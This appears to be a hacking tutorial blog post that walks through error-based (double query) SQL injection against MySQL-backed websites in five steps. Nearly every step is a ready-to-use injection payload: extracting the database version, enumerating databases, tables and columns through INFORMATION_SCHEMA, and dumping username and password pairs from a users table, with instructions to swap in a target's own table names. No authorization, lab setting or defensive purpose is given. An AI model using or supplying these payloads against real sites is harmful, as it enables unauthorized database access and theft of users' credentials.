Error Based Sql Injection Step by Step

After the union based sql injection I am going to cover error based sql injection. Sometimes during injection sites we got number of columns but on union statement it gives an error The used select statement has different number of columns. and then you start brute forcing columns but brute forcing also not works. So these kinds of websites are injected by Error based or double query injection.

so lets come to work…

  1. First step is to get version here is the error based query to get version.'+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1 -- -

2. Second step is to enumerate the database of website use the above query and replace version() with database(). but there is a another syntax used to enumerate database is:'+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- -

If the website has more than one database the it can be enumerate by changing limits such as
Limit 0,1
Limit 1,1
Limit 2,1

In this way you can get all the database of the website.

3. Third step is to enumerate the table names and the column name of the target'+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -

using this query you can get a table name. For getting all the table name what you can do is just increase the value of limits as shown above.

4. Fourth step is to enumerate the columns so we got the column users and we have to enumerate the columns of the table user'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x7573657273+AND+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- -

Note : Replace the table_name=0x7573657273 with your desired table name and convert it into hex.

5. Fifth step is to dump data from the column so suppose we get the column name is username and password. so we are going to dump the password column from the table users.'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,0x3a,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- -

here we use 0x3a is a hex vale of ‘ : ‘  it s a break between in username and password and it shows result like this
username : password
If we doesn’t use this break we will not understand what’s on the page it give result like this

users = table name
Username = Column 1st
password  = Column 2nd

Replace this with your desired table name and column name.

Thanks for the reading guys keep practising and learning 🙂
